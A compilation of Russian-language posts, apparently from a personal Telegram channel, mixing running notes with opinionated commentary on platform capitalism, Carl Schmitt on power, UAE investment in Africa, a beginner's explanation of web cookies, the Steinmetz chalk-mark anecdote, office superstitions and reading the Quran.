#бег раз-раз - десятка за час, пятерка внутри 29 - тоже пойдет 😉
а модель соревнований пытаются сделать по принципу крючка) ну пусть работает)

Читать полностью…

Начало #срничек #капитализм платформ. Вот пример производственной парадигмы после Второй Мировой:

«труд был организован согласно принципам тейлоризма: задача разбивается на мелкие простые составляющие, которые затем пересобираются наиболее эффективным образом; на одном заводе работает множество рабочих. Так появился тип «массового работника», разделяющего коллективную идентичность на основе общности условий труда»

до этого самого «тейлоризма», такое разделение труда было у Адама Смита, оно же легло в основу конвейера Форда. В чем был минус такого подхода, ну кроме превращения человека из мастера универсала в своей мастерской в человека-функцию, приложение к станку? В том, что такое разбиение и ускорение за счет быстрого выполнения функций заканчивалось на пороге предприятия-компании. А дальше уже все тонуло в логистических проволочках. На эту тему есть целая методология Элияху #Голдратт «Критическая цепь»: «как #JIT («точно вовремя»): это целый корпоративный роман, о том как мененедежер ищет «узкие» места в потоках сырья на производстве, а за одно сталкивается такими местами в своем семейном кризисе и находит решение в перемещении детского отряда в походе. Если интересно – разберем, сигнальте. И такие проволочки понимали сторонники и рыночной, и командной парадигм экономики. Последние двигали тему с #ОГАС – это тоже пример платформы, объединяющей производства. Похожую идею с поправкой на действительность я опубликовал в темах сильных идей и #ПМЭФ. Платформы и сеть позволяют ускорить обмен данными о производственных процессах, снизить издержки на координацию. И даже микросервисная архитектура - парадигма разработки самих платформ преследует ту же цель.

«Когда координационные издержки радикально сократились благодаря расширившимся возможностям вести глобальную коммуникацию и управлять цепями поставок, вновь усилилась заложенная в 1970-х годах тенденция к выводу услуг на аутсорсинг. Компании все в большей степени выводили компоненты своей деятельности вовне, и фирма #Nike стала символом бережливости: управление брендом и разработка дизайна остались в развитых странах, а собственно производство и сборка были выведены в потогонные мастерские в бедных странах. Все эти переплетающиеся тенденции привели к тому, что технологический бум 1990-х годов стал тем самым пузырем, который заложил основы цифровой экономики.»

Вынос производств во вне для сокращения издержек – это прямо «эконмическая религия» периода 2000-2010-х, там много «экономистов» топило за подобное. Но тут реализуется формула «без штанов, но в шляпе» - когда в случае любого катаклизма, от природного до политического от цепочки производственных связей с вынесенным производством остается ровно ничего. Хотя есть и плюсы, страны, куда вынесли производства активно перенимали технологии себе, пример – #Корея и #Китай. Локальный «аутсорс» в пределах одной территории страны, хотя и страна может быть виртуальной платформой, может быть хорошим соц лифтом и системой распределения денежных потоков, но и тут возможны перегибы, ведь у каждой платформы есть хозяин – человек(и)

Читать полностью…

#политология #философия #gr #governmentrelations Карл #Шмидт «Беседа о власти». Начало. Интересное упоминание французской революции

«Чего еще должен бояться человек, если Бог мертв, а волка не боятся даже дети? Но как раз с той эпохи, в которой это очеловечивание власти, кажется, завершилось, с Французской революции, теперь непреодолимо распространяется убеждение, что власть сама по себе есть зло.»

Возможно революции, как и прочие социальные качели показывают пример «злобы» власти через ее проявление в быстроте событий, безразбочивости методов. «Бог мертв» - этого уже касались одном из прошлых постов, можно провести аналогию с Ветхим Заветом, когда Моисей ушел на Синай за скрижалями, то народу стало «скучно» и тот возвел себе идолов. То есть – электорат по «стандартным настройкам» ненадежный ресурс (как и любой человек, и я тоже) и как только источник, опора, ориентир утерян – масса начинает искать или создавать себе новый источник власти, пусть даже симулякр.

«Чтобы правильно понять сущность человеческой власти, как она раскрывается нам в нашем сегодняшнем положении, нам лучше всего было бы воспользоваться одним соотношением, которое нашел уже упомянутый все еще самый современный философ чисто человеческой власти, англичан Томас Гоббс… говорит: «Человек для всех прочих людей, о которых он думает, что они для него опасны, настолько же более опасен, чем опасен для них любой зверь, насколько более опасно его оружие, чем оружие любого зверя». Это четкое и определенное соотношение…Гоббс предполагает, что человек вовсе не зверь, а нечто совсем другое, с одной стороны, меньшее, с другой стороны, гораздо большее. Человек в состоянии в невероятной степени компенсировать свою биологическую слабость и недостаточность техническими изобретениями, избыточно компенсировать.»

С одной стороны – очевидное следствие, что прогресс помогает «быть опасным», не всегда опасному от природы. С другой стороны, тем кто считает себя «опасными», полезно понимать, что и на них может найтись встречная «опасность», разнообразными методами и в любой момент времени.

«Поступайте с другими людьми так, как хотите, чтобы они поступали с вами. В этом и заключаются Закон Моисея и учения пророков». Евангелие от Матфея 7:12

«Власть, также как и техника, сама по себе ни добро, ни зло, она нейтральна; вследствие этого она является тем, что делает из нее человек.»

Власть – это инструмент, который нейтрален, ее приложение зависит от цели, точки приложения, воли и смыслов. И после такого наделения, она уже может быть какой-либо направленности.

«Человеческая рука, которая держит атомную бомбу, человеческий мозг, который иннервирует мышцы этой человеческой руки, в решающее мгновение оказывается не столько членом индивидуального отдельного человека, сколько протезом, частью технической и социальной аппаратуры, производящей и применяющей атомную бомбу. Власть индивидуального властителя является здесь только лишь выделением ситуации, проистекающей из системы непредсказуемо возросшего разделения труда.»

«Властитель», #ЛПР, это всего лишь человек и часто функция. На которого могут влиять множество акторов, в том числе и неявно приводящих к решению. Упоминание разделения труда напоминает «платформу власти», где рассмотренный ранее коридор советников может выступить испорченным телефоном, сделав действие властителя продолжением своих действий и интересов.

Читать полностью…

Интересная лекция А.А. #Аузан с айтишной конфы, где было необычно встретить подобные темы среди душнины про #java. Запись- выше, можно послушать фоном, кому нужна текст расшифровка – пишите. Перед погружением уточнение: это мнение конкретного человека, который так же, как и все мы ограничен в восприятии, схватывании и понимании влияющих акторов и воздействий. То есть, все, как всегда, - субъективно. Все не учесть и не предвидеть. Один из первых выводов – баян: структурная неопределённость и турбулентность, ну у нас тут это уже по умолчанию настройки.

«в условиях структурной неопределённости кто действует активнее, тот и влияет на структуризацию новую. Поэтому первая заповедь - если вы имеете структуру неопределённости, то постарайтесь на неё воздействовать в своих интересах»

Вспоминается 2 поговорки, чтоб не душно: «кто ссыт тот тонет» и «терпенье и труд», то есть как Алиса, не то, чтобы бежать на месте, но фигачить надо. Волны и тренды. Тут вариант ретроспективного анализа гадания.

«если посмотреть на движение товаров, людей, капиталов, за прошедшие с тех пор почти два века, то синусоида видна. Волны идут. Максимум глобализации был достигнут не в начале 21 века, как нам кажется, а в 1913 году, перед Первой мировой войной. такие Волны бывают в движении ценностей, в движении занятости, потому что, например, вытеснение человека из производства было предсказано Чайзом Бэббитом.»

В чем разница волны и тренда? Тут- в длительности-продолжительности и в эффектах, влиянии на окружающий мир и людей. Это условные, парадигмальные, названные отрезки времени в которых что-то происходит. «полезно смотреть на такие большие процессы не на десятилетнем промежутке, а на двухсотлетнем» Так, ковидный 2020-й автор считает началом новой эпохи, так как в нем сошлись и технологические (привет, #платформы) и социальные изменения.

«инновации происходят под воздействием внешних сил. Либо конкуренция принуждает, либо удар какой-то внешний. А эпидемия заставляла, ну как, хочешь есть, освоить электронную доставку, хочешь выйти на улицу, электронный пропуск.»

И по цифровизации-технолгиям у нас тут решительно стрельнуло на встречу киберпанку. Помню мощный рост доставок, всяких шерингов(аренд) и прочих удаленных конференций. Даже рабочей удаленки(ура!), которая вызывает до сих пор подгорания у мененеджеров – люди научились синхронизироваться дистанционно, через теже платформы видеосвязи и планирования. Для чего тогда толпы псевдо-управленцев ,м? Дистанционный #банкинг в России действительно один из самых мощных, могу подтвердить как приложивший руку и другие части (мозг) к развитию этой темы. #Маркетплейсы, «цифровые базары», сейчас активно вытесняют рынки и мелкие магазины в регионах. Люди, которые боялись моб телефонов и приложений, во всю набивают корзины, делают возвраты, торгуются с продавцами и тролят поддержку, развитие таки.

«в России тоже, но не только, то доверие к цифровым экосистемам выше, чем доверие к национальным правительствам по всему миру. Как вы догадываетесь, национальным правительствам это не нравится»

Еще бы. Такой пласт контроля и данных утекает, поэтому всякие там Орешкины и сотрясают воздух на тему слияния в экстазе государства и платформ. Дальше идет забавное описание воздействий государства на платформы. Александру Александровичу должное в примере как балансировать на грани классификаций в иногенты или агенты кремля, тут твердая пятюня. Первый способ влияния – репрессивный и неудачный пример – #Дуров. Неудачный, так как Паша сидит на всех возможных стульях со всем опциями последних. То есть там все по договорнячку и эффектом театра для плебса(нас). Второй пример вызывает у меня конский ржач – #Мишустин и #фнс. Якобы там зацифровали так, что вот прям никакому там зеленому банку не снилось. Нет, это бесполезное в процессах ведомство надо было полностью заменить блокчейном и алгоритмами. Так как не в коня корм – уже нескольким людям помогал составить претенции из-за некорректных сумм или затягивания возвратов налоговых вычетов. Все это можно делать автоматом. Эти примеры на 3 с -. Продолж след

Читать полностью…

Продолжим разбираться с платформами. Начало тут + техническое тут #срничек #капитализм платформ. Автор рассматривает односторонне влияние цифровых технологий на капитализм, но есть и обратное влияние, которое основное и более сильное – со стороны капитала.

«на чем же сфокусировать внимание, если мы хотим увидеть влияние цифровых технологий на капитализм».

Технологии – всего лишь инструмент, до момента появления другой технологии или чего-то иного, что сможет ускорить оборот капитала и его рост. Если бы спиритические сеансы умножали капитал, то очередной «сырничек» написал бы докторскую на тему «капитализм спиритуализма».

«капитализм заставляет фирмы постоянно выискивать новые дорожки к прибыли, новые рынки, новые товары, новые средства эксплуатации. Кому-то такой акцент на капитале вместо труда может показаться вульгарным экономизмом; однако в мире, в котором трудовое движение изрядно потеряло свою былую силу, выделение капитала в качестве главного игрока кажется лишь адекватным отражением реальности, не более того.»

Дальше идет сравнение классических производств и информационно-технологических компаний, дескать вон на заводах сколько людей, но стоимость («капитализация») надкушенного яблока позволяет купить все эти производства. Да, это так и уже с позиции нашего времени, а не 2016 года написания книжки, очевидно. Да, книга в целом уже устарела, как и мысли автора, но для тренировки и выискивания ключиков – пойдет. Да очевиден эффект, но не всегда очевидны причины. Из тех, что на поверхности, - меньшие издержки: для производств легкой и тяжёлой промышленности нужна сложная логистика, ресурсы, вся триада Маркса: земля-труд-капитал, станки и недвижимость, громадье всего, что плодит постоянные и переменные издержки. А если нужно писать программки-платформы, нужно электричество, связь, комп и мозг (основное) – это минимум, с которого можно делать. Даже офис не нУжОн. А еще мода, а еще ощущение причастности и связности с какой-либо группой или сущностью, да-да, все эти каналы, подписочки , группы и прочие объединения. Люди тянутся к контакту, а платформы-программы все это предоставляют. Люди пытаются найти в программах и виртуальном смыслы и находят симулякры-магниты: «Все для Вас, все ради Вас!». Эту тему ковырял в дипломе на тему кибертеологии в Фоме. Да, можно сказать, что тут не учитываю сложные производства «железа» -чипов, плат и тд. Оно, конечно, тоже сложное и затратное. Но – сильномасштабируемое, автоматизированное и быстрое. Примеры – это и тайваньский чипострогатель и вот такой полностью автоматизированный завод без людей – «темная фабрика” Xiaomi. А еще симбиоз софта и железа, о котором рассказывал ранее и который превращает любую площадку-гараж в цех.
А в разделение капитализм умеет. В первую очередь разделяя людей по узким специализациям, кусочным навыкам, убирая человека-универсала.

«Экономические агенты теперь отделены от средств обеспечения существования, и, для того чтобы получить продукты, необходимые им для выживания, они должны обратиться к рынку. И хотя рынкам уже не одна тысяча лет, при капитализме экономические агенты оказались в невиданной доселе ситуации, столкнувшись с обобщенной зависимостью от рынка. И потому производство переориентировалось на рынок: чтобы заработать деньги для покупки необходимых для выживания товаров, надо продать какие-то другие товары.»

«Рынок» можно заменить на «платформа», «корпорация». Ограниченная, узкая специализация, конечно же обосновывается высокими мотивами «за рост экспертизы вглубь» и прочими блевотными формулировками людей с атрофированной рефлексией смыслов, которые занимаются придумыванием там всяких «миссий компаний».

«Ее (технологию) часто использовали для того, чтобы расшатать властные позиции квалифицированных работников, превратить их в неквалифицированных… «Расшатывающие» технологии позволяют привлечь более дешевую и податливую рабочую силу и заменить ею квалифицированных работников, а также вывести умственные элементы труда из цеха и передать их в руки менеджеров.»

Читать полностью…

🇦🇪 ОАЭ: Венецианские методы в Африке?
#анализ #uae @UAEembMoscowConsular @AllaboutUAE @uaebusinessnews @dubai_mid @UAE_embassy_in_moscow
#финансы #ключи_от_госуправления
За последние 20 лет Объединенные Арабские Эмираты превратились в одного из ключевых игроков в Африке. В продолжение постов по книге «Управляй как шейх» и Жака #Эрс Рождение капитализма. Сделаем сборочку из них и открытых источников.

#ОАЭ спасается от «ресурсного проклятия», зависимости от нефти и теперь движутся не только в технологии, оффшоры, но и в логистику. Диверсифицируют свою экономику. Дубайская DP World контролирует 10% мировых морских перевозок, а ADQ из Абу-Даби купила 45% компании Louis Dreyfus1, одна из крупнейших в мире корпораций по производству сельскохозяйственной продукции. Сейчас #Африка стала для них ключевым направлением. Эмираты начали обвивать континент, словно змея, покрывая его побережье портами, откуда можно продавать товары и извлекать природные и прочие ресурсы. Они вложили деньги в континентальные месторождения, порой практически полностью покупая национальные горнодобывающие компании. Они заполонили Африку, особенно #Египет и #Судан, огромными сельскохозяйственными угодьями с центральным расположением, чтобы экспортировать продовольствие напрямую в свою пустынную родину.  Через фонды, такие как «#Mubadala» и «#ADQ», #Эмираты скупают порты, сельхозугодья и инфраструктурные проекты — от Сенегала до #Сомали. Их логика проста: контроль над логистикой => контроль над экономикой.

Порты, дороги, зерно: «мягкая» экспансия ОАЭ по заветам дядьки Эрса из ссылки выше. В статье The Wayward Rabbler ОАЭ сравниваются с Венецией 15 века. Тогда Венецианская республика доминировала в Средиземноморье, используя сеть портов и торговых факторий. ОАЭ повторяют схожую модель:

🇩🇯 Порт Дорралех (#Джибути) — ключевой хаб в Красном море, фактически под контролем #Dubai #Ports World.

🇪🇹 Сельское хозяйство в Судане и Эфиопии — эмиратские компании скупают плодородные земли, чтобы обеспечить продовольственную безопасность.

🇸🇴 Военные базы в Эритрее и Сомали — геополитическое влияние растет вместе с экономическим.

Почему Африканские государства допускают подобное? Один из рецептов был в книга Фредерика Форсайта. У ОАЭ – другой: они предлагают быстрые инвестиции без долгих переговоров, к тому же на основаниях исламского финансирования. Они также предоставляют технологии и логистику без явной политической зависимости и прочих качелей. Европа и Китай отстают от них. Хотя китайцы также активно скупали порты в Африке еще недавно.

В Африке у ОАЭ не просто «экономическое присутствие» — они обкатывают новую форму влияния и захвата территорий, где вместо колониальных армий работают инвестиционные фонды и логистические коридоры.

Читать полностью…

#бег с тов Вороной. Или по касданеде с намеком в стиле кого бежать мимо скуфляндии

Читать полностью…

#техно #web Перед тем как дальше выйти на двинуться по платформам, глянем на #Куки-файлы (#cookie). Они появились в 1994 году и используются для идентификации пользователя и персонализации веб-ресурсов. Они содержат данные о действиях пользователя: логины, настройки, товары в корзине, язык, id, параметры отображения разного функционала сайта и др. О появлении названия есть много версий, одна из них – «хлебные крошки», по мотивам сказки Гримм
Технически они представлены в виде файла базы данных #sqlite, либо строки в значении заголовка запросов или ответов бразуера, см рисунок выше, по клиент-серверной парадигме. Обычно бОльшая их часть хранится в зашифрованном виде.

Посмотрим на человечьем примере как это работает, см анимацию выше
Вы впервые посещаете кофейню, заказываете кофий. Кассир записывает имя и предпочтения на карточке и передает ему вместе с чашкой кофе.В следующий раз, когда вы придете в кафе, то покажите кассиру карточку с предпочтениями. Кассир сразу «узнает» вас и то, какой #кофе вам нравится.

Cookie действует как такая карточка предпочтений. Когда мы входим на веб-сайт, сервер выдает нам cookie с небольшим объемом данных. Cookie сохраняется на стороне клиента (браузера), поэтому при следующем запросе на сервер с использованием cookie #сервер сразу узнает нашу личность и предпочтения, не заглядывая в свою базу данных. Это ускоряет процесс обработки запросов, вот как это происходит:
-Браузер автоматически проверяет наличие сохранённых куки для данного домена.
-Если куки найдены, они отправляются на сервер вместе с запросом страницы.
-Сервер «читает» куки и получает сохранённую ранее информацию о пользователе.
-На основе этих данных сервер может адаптировать контент страницы (например, показать личный кабинет) и обновить или создать новые cookie.
Что внутри? разные сочетания данных, по которым, как по хлебным крошкам можно определить пользователя. Рекомендации разной рекламы выдаются по ним.
Вот пример куки из браузера:

recom-uuid=96e50936; recom-temporary=true; _yasc=miEZGNT; viewport=mobileWide

recom-uuid=96e50936 – уникальный идентификатор ( признак, «число») для персональных рекомендаций , перс отображения сайта
recom-temporary=true – показывать временную рекламу, при повторном заходе, обновлении страницы будет другая
_yasc - идентификатор сессии для #Яндекс-метрики. Значение: Зашифрованные данные сессии (обычно содержит):
- ID посетителя
- Время первого визита
- Количество посещений
viewport=mobileWide- мобильную или полную версию сайта отобразить.
Обычно один сайт напрямую не может получить доступ к куки другого сайта, в базе стандарта это запрещено для безопасности. Но, как обычно, есть обходной путь: разные рекламные трекеры, платформы – типа того же Яндекс с его метрикой, установленной на разных сайтах, могут связывать перемещения пользователя по кукам, для выдачи персональной рекламы.
Куки полезно чистить, если что-то не так отображается на сайте. Можно и для уменьшения кол-ва рекламы и части следов. Но не всех, так как следит еще и сам браузер через заголовки #http-запросов. Обычно их убрать можно в настройках браузера, например: #Chrome-Удалить данные браузера-Файлы cookie. Продолжение

Читать полностью…

#физика #язык #философия #космос #иезуиты тоже занимаются проблемами языков описания не только в теологии, но и физике. В продолжение поста

«Главный прорыв заключается в том, что при определенных условиях переход от одного математического описания к другому может выявить совершенно новые возможные сценарии развития Вселенной — такие, которые невозможно было увидеть, используя только один подход.»

Представьте, что один и тот же пейзаж можно описать на двух разных языках. Картинка остается той же самой, но иногда благодаря особенностям второго языка можно заметить то, что было невидимо раньше. Используя такой подход, открытие сделали два ученых из Ватиканской астрономической обсерватории — Габриэле Джонти, иезуит, и священник Маттео Галаверни. Ученые исследовали два разных способа описания гравитации — того, как планеты, звезды и галактики притягиваются друг к другу. Эти два способа, называемые «система Йордана» и «система Эйнштейна», считались просто разными способами описания одного и того же, как перевод книги с одного языка на другой. Их работа показывает, что при определённых условиях математика может «создавать» новые решения уравнений Эйнштейна, описывающих такие явления, как чёрные дыры или зарождение Вселенной.
Выбор математического языка может радикально изменить то, что мы воспринимаем как реальность.

Математика — это не просто инструмент, а окно в неизведанные измерения реальности.

Такой подход открывает новые пути к лучшему пониманию черных дыр, начала Вселенной и приближает ученых к решению одной из самых сложных задач современной физики — объединения теории гравитации с квантовой механикой.

Главное чтобы не отбрасывали «некрасивые» результаты, случаи в которых нет решений, ошибки, часто именно здесь ключики к срыву парадигмы.

Читать полностью…

#ключи_на_ходу мотивационные: вдруг в это воскресенье кому-то нужен знак, то вот он 🔄

Читать полностью…

#ключи_на_ходу #триз #техно Знать куда ударить. Полезная байка.
Одно время ходил анекдот про инженера, который запросил плату в размере $10 000 и пояснил чек тем, что 1 доллар нужно заплатить за поворот (или удар) винта, а 9999 — за то, чтобы знать, какой именно винт нужно повернуть? Некоторые утверждали, что этим «инженером» был физик Лев Давидович Ландау. Но основой этой байки стала история другого инженера и ученого.
Его звали Чарльз Протеус #Штейнмец (1865-1923), на фото в центре.
Однажды на заводе #Ford в Ривер-Руж возникла техническая проблема с большим генератором, инженеры-электрики не могли понять, в чём дело. #Форд лично обратился за помощью к Штейнмецу. Штейнмец приехал на завод, отказался от любой помощи и потребовал блокнот, ручку и койку. 2 дня и 2 ночи, слушал шум генератора и выполнял вычисления. Почти проведение ритуала мысли. Интересно, визуализировал ли он процесс работы генератора при этом или представлял себя как элемент механизма… На 3-й день он резко потребовал, чтобы ему принесли лестницу, рулетку и мел. С большим трудом (учитывая его горб и дисплазию плеча) он поднялся по лестнице к генератору. Отмерял рулеткой точку на корпусе генератора и сделал отметку мелом. Затем он спустился по лестнице и сообщил удивленным и презрительно смотрящим на все этой действо инженерам, что им придется снять боковую пластину, разобрать катушку генератора и снять 16 витков провода, начиная с того самого места, где он сделал меловую отметку. После внесения исправлений, к изумлению инженеров, генератор снова заработал идеально.

Генри Форд был в восторге, пока не получил счёт от #GeneralElectric на сумму $10 000. Он признал отличную работу, но почтительно попросил прислать более подробный отчет о проделанной работе, ведь 10K долларов были приличной суммой в то время. А Форд деньги считать умел.
Штейнмец выполнил просьбу и вернул счёт, к которому он добавил следующую информацию:

- Меловая отметка на генераторе — 1 доллар;
- Знание того, где её нужно поставить — $9,999;
- Итого к оплате: 10 000 долларов #США.

Счёт был оплачен. Молча, без протестов и без дальнейших «качелей».
История, по которой написана байка выше, упоминается в письме Джека Б. Скотта редактору журнала «#Life», опубликованном 14 мая 1965 года.

Штейнмец был небольшого роста, «странной, гномоподобной фигурой» с немецким акцентом, но он был великим инженером и ученым. Его имя упоминается реже чем ,имена его друзей: Альберта Эйнштейна, Николы Теслы и Томаса Эдисона. Его влияние на General Electric было огромным. Используя сложные математические уравнения, Штейнмец разработал методы анализа величин в цепях переменного тока. Его открытия изменили представление инженеров о цепях и машинах и сделали его имя самым узнаваемым в области электричества на десятилетия В 1921 году Штейнмец спроектировал уникальный на то время генератор импульсов высокого напряжения, изготовленный на одном из заводов фирмы, который позволял получать напряжение до 120 киловольт при мощности около 1 млн лошадиных сил. Штейнмец был в переписке с В. И. Лениным. 16 февраля 1922 года он написал Ленину письмо, в котором предлагал помощь в реализации плана электрификации страны, #Ленин тогда отказался, но это уже другая история.

Читать полностью…

#ключи_на_ходу #уфа атмосфера: Мечеть тюльпанов 🕌 ЛяЛя-Тюльпан

Читать полностью…

#корпошизия суеверная. Все-таки людская думка сваливается к мистической, мифологической, даже у контингента, который задирает нос, брызгая слюной и терминами об эффективности, технологиях и всей этой их «продвинутости». И речь не о «долине», там практичнее и грубже. Вот в этой «новости» прекрасно все: Россияне верят в «счастливую ручку» и «беременное кресло» на работе : 33% опрошенных россиян не берут в офисе кресла уволенных сотрудников. Выборка, кстати, ниочем – 1000 чел. Если нет тотема, то его надо придумать, видимо, чтобы был хоть какой-то смысл в бессмысленной почти в 80% офисной деятельности. Могут ворваться программисты: ну мы «то не», да-да, конечно, а как же «не ставить релиз в пятницу и понедельник» и скрам, который зовется «ритуалы». Резиновая уточка, тут соглашусь, практично может быть – это как перенос роли на игрушку-образ, как на того с чьей позиции смотрим на код и ловим ошибки. Но могут толкнуть упоительную телегу, как одна «скрам-мастерица» использовала почти ритуал, чтобы выдавить сотрудника из команды, не получалось иначе выключить человека-функцию, интересно – сигнальте.
Все это уже было описано на другом языке:

«Исх.32:1. Когда народ увидел, что Моисей долго не сходит с горы, то собрался к Аарону и сказал ему: встань и сделай нам бога, который бы шел перед нами, ибо с этим человеком, с Моисеем, который вывел нас из земли Египетской, не знаем, что сделалось.»

При этом сельские приметы более практичны, они чаще основаны на наблюдении за действительностью вокруг, а вот в корпоративных больше симулякров. Но. Я полностью не знаю всех связей-причин породивших такие приметы, многие из них кажутся упоротыми, но все ли влияния, причины, связи мы знаем? Нет. Мы не знаем всех влияний. А вот упоительные примеры:
• Более трети не сели бы на «то самое кресло, после которого увольняют. (Пахнет самосбывающимся пророчеством / внушением)
• «Счастливая ручка» для подписания важных документов (аналогично)
• 9% сотрудников признаются, что испытывают тревогу в пятницу 13-го (Вы себе льстите, число 13 связано только с неудачной историей Тамплиеров, до которых вам и вашим «компаниям», как до Пекина раком)
• 11,5% респондентов убеждены, что кактус «забирает негатив», особенно если поставить его напротив начальника или собственного экрана. (Ставьте лучше на нАшальникЭ, так надежнее)
• «Первый клиент-мужчина — к прибыли». А вот тут интересно, кто может быть более склонен спонтанным покупкам, вот тут можно и понаблюдать.
• Посыпать порог сахаром. Считается, что сахар на пороге привлечёт клиентов (мух и гнев уборщиц привлечет точно)
• Не передавать документы через порог. Говорят, что это приносит ссоры. (Это уже отсылка к мифологии и некоторым культам – «порог» часто символ перехода или разделения миров)
• Если на рабочем месте у вас зачесалась левая ладонь, то это хороший знак, предвещает повышения заработной платы или премию в ближайшие дни (ладно, пойду почешу)
• «Беременное» кресло – если кто-то хочет в декрет, топает и занимает такое кресло. (тут тоже в сторону самовнушения и может сопричастности, можно еще на камень сходить для закрепления эффекта)
Что интересно, офисные приметы больше привязаны к вещам, местам. Приметы профессий, связанных с риском, либо более динамичной деятельностью более образны, оторваны от обыденных предметов. Начиная от не желать спокойной смены и не говорить «последний», до разговоров с техникой как системой, микро-миром, почти как тут.

Читать полностью…

#анализ #ключи_на_ходу прислали пачку сертов с конкурса #СильныеИдеи нового времени.
В том числе и рекомендательное письмо от Агенства стратегических инициатив по теме «Доходная доля: компенсация за автоматизацию».
@ASI_RU @ideas_forum @roscongress, @razvivaemrf @duma_gov_ru @medvedev_telegram @minpromtorg_ru @government_rus @newssovbezrf @centralbank_russia #СтрануМеняютЛюди #АСВ #ВЭБ

Читать полностью…

#бег моя вбежать пятерку внутрь тридцатки, нраааица! А в целом солнце решило на обратном вдарить ядреным африканским пеклом предков, поэтому обратный путь был как у того самого предка слезшего с лианы - криво и перебежками)

Читать полностью…

#психология #ключи_от_дурки пятничные, эмоциональные, эффективные:

Читать полностью…

#ключи_на_ходу природный холст, погодная зарисовка с тропическими оттенками

Читать полностью…

#Теология. После Ветхого и Нового завета начал медленно читать #Коран и немного изучать #Ислам. Это другой язык описания, другой исторический и смысловой взгляд. Это авраамическая религия книги, события которой связаны с точкой из Бытия (Быт. 21: 10–21) Из-за конфликта между женой и служанкой, Авраам изгоняет Агарь (служанку, в некоторых апокрифах она – дочь фараона, отданная как откупное Аврааму) в пустыню, что в то время равносильно смерти. Версии событий разнятся из-за вариантов переводов и трактовок в разных интересах. В одном варианте - Во время беременности Агарь возгордилась и стала «непочтительно обращаться» с Саррой. В ответ Сарра начала притеснять её, и та была вынуждена бежать в пустыню. В пустыне у источника её нашёл ангел, показал источник воды и сообщил ей, что от ее о сына родится многочисленные воинствующие племена-народы.

«И увидела Сарра, что сын Агари Египтянки, которого она родила Аврааму, насмехается [над ее сыном, Исааком], (в другом варианте не так категорично, а ««видевши же Сарра сына Агари... играюща со Исааком, сыном своим») и сказала Аврааму: выгони вон эту рабыню и сына ее, ибо не наследует сын рабыни сей с сыном моим Исааком.»

Ее сын, Измаил, считается, родоначальником арабских племён, которые прозвали «измаильтянами» (по его имени) и «агарянами» (по имени его матери). Изучение таких текстов – это тренировка восприятия текста, интерпретации, в некоторых моментах и рефлексии. Конечно, считается каноничным читать на языке оригинала, но много ли из тех, кому действительно нужно прочить – так прочитали?) Еще изучение интересно, чтобы узнать основы, на которых строится исламский банкинг и финансы. Религия — одна из двух основных характеристик культуры (вторая — язык).

«Религии — очень удобный первый объект для изучения того, как разные культуры дают разные экономические результаты. Представители разных конфессий, живя в одной стране — то есть в одной институциональной среде, — могут показывать разные экономические результаты, причем у дискриминируемой группы эти результаты могут быть даже лучше (как это было со староверами в Российской империи или коптами в Египте).»

А культура, территории и проекты, связанные с Исламом достаточно обширны и бурно разивающиеся. Сначала начинал чтение по версии перевода Коран: Перевод смыслов и комментарии И. В. Пороховой, ее версия перевода одобрена Академией Аль-Азхар Аль-Шариф. Но затем перешел к версии, которую используют на всяких религиоведческих факультетах – перевод проф.Османова, так как у первого автора много личных комментариев по ходу текста, а схватить ценно свои ощущения и интерпретации. Если что, то можно вернуться и к первому варианту, что иногда делаю. У Валерии Михайловны интересные отсылки и сравнения с Торой и Ветхим Заветом. В целом меня удивило, насколько схожи сюжеты с Ветохозаветными.

«И Аллах научил Адама всем именам, затем вопросил о них ангелов и велел им: "Разъясните мне [суть] этих имен, если вы искренни"»

- наименование, конкретизация предмета от воли, описания именующего, это признак управления тем, кого именуют, так как исходит одного на/к именуемому. Есть описания событий со скрижалями Мусы (Моисея), но упоминаются там участники события «сыны Исраила». В некоторых местах выглядит как комментарий к Ветхому Завету/Торе: «Говорят иудеи: "Христиане не на истинном пути". А христиане говорят:

"Не на истинном пути иудеи", и при этом они ссылаются на Писание. Таким же образом повторяют их слова те, которые не знают [истины]. Аллах в День воскресения рассудит их в том, в чем они расходились »

Интересный подход к совершению молитвы в сложных условиях: «А когда вы в опасности, то совершайте [ритуальную молитву] салат даже на ходу или верхом.» Еще про терпение – это прямо ключ к действиям:

«"Как много раз немногочисленная рать побеждала несметную рать по воле Аллаха!" Аллах - на стороне терпеливых.» и «Воистину, Аллах любит терпеливых.»

В некоторых источниках упоминается, что пророк Мухаммад проповедовал 10 лет, в течение которых проповедь не имела успеха. Но после нашел своих сторонников и поверивших.

Читать полностью…

#бег а еще сегодня пятюня внутри 30 мин. И меня видимо приняли за бпла ибо мой навигатор говорит, что я норм так метнулся за Мытищи и обратно.

Читать полностью…

#политология #философия #gr #governmentrelations Карл #Шмидт «Беседа о власти». Начало.
Управленцу, #ЛПР хорошо бы выходить в «поля», хотя бы информационные, чтобы самому схватить или почувствовать обстановку. Все он не почует и не узнает, мы не можем узнать и учесть всех влияний и акторов. Но такой ход поможет немного расшатать коридор советников и не замкнуться.

«Сам властитель изолируется тем больше, чем больше прямая власть концентрируется в его индивидуальной личности. Коридор отрезает его от земли и поднимает его как бы в стратосферу, в которой он может дотянуться только лишь до тех, кто косвенно правит им, тогда как он больше не может дотянуться до всех остальных людей, которыми он правит, и они сами тоже больше не могут добраться до него.» 

Еще вариант разбивать коридор на несколько – чтобы каждый отвечал за свою информацию или предметную область, - не было концентрации инфо-потока в каком-то одном или одних руках.

«Борьба за коридор, за доступ к вершине власти, является особенно интенсивной борьбой за власть, в которой совершается внутренняя диалектика человеческой власти и бессилия.»

Есть несколько примеров такой борьбы.
1-ый: документ истории конституционного права: прошение Бисмарка об отставке, поданное им в марте 1890 года. #Бисмарк в нем продвигает тему, что доклад королю любого из министров выполняется только в присутствии Бисмарка и ни как иначе.

«Проблема доклада королю является вообще центральной проблемой всякой монархии, так как это проблема доступа к верхушке.»

2 пример из драматического стихотворения Фридриха Шиллера «Дон Карлос»

«Действие драмы вращается вокруг вопроса: кто обладает непосредственным доступом к королю, к абсолютному монарху Филиппу II? Тот, у кого есть непосредственный доступ к королю, тот обладает и частью власти короля. Раньше духовник короля и генерал герцог Альба заняли вестибюль власти и блокировали доступ к королю. Теперь появляется третий, маркиз Поза, и оба других сразу осознают опасность»

Этот рецепт знали #иезуиты, которые становились духовниками и консультантами многих средневековых монархов. Вот очень интересная словесная иллюстрация власти, показывающая ее относительность и неоднозначность в трактовках относительно обстоятельств:

«власть — добро, если она у меня, и власть — зло, если она у моего врага.»

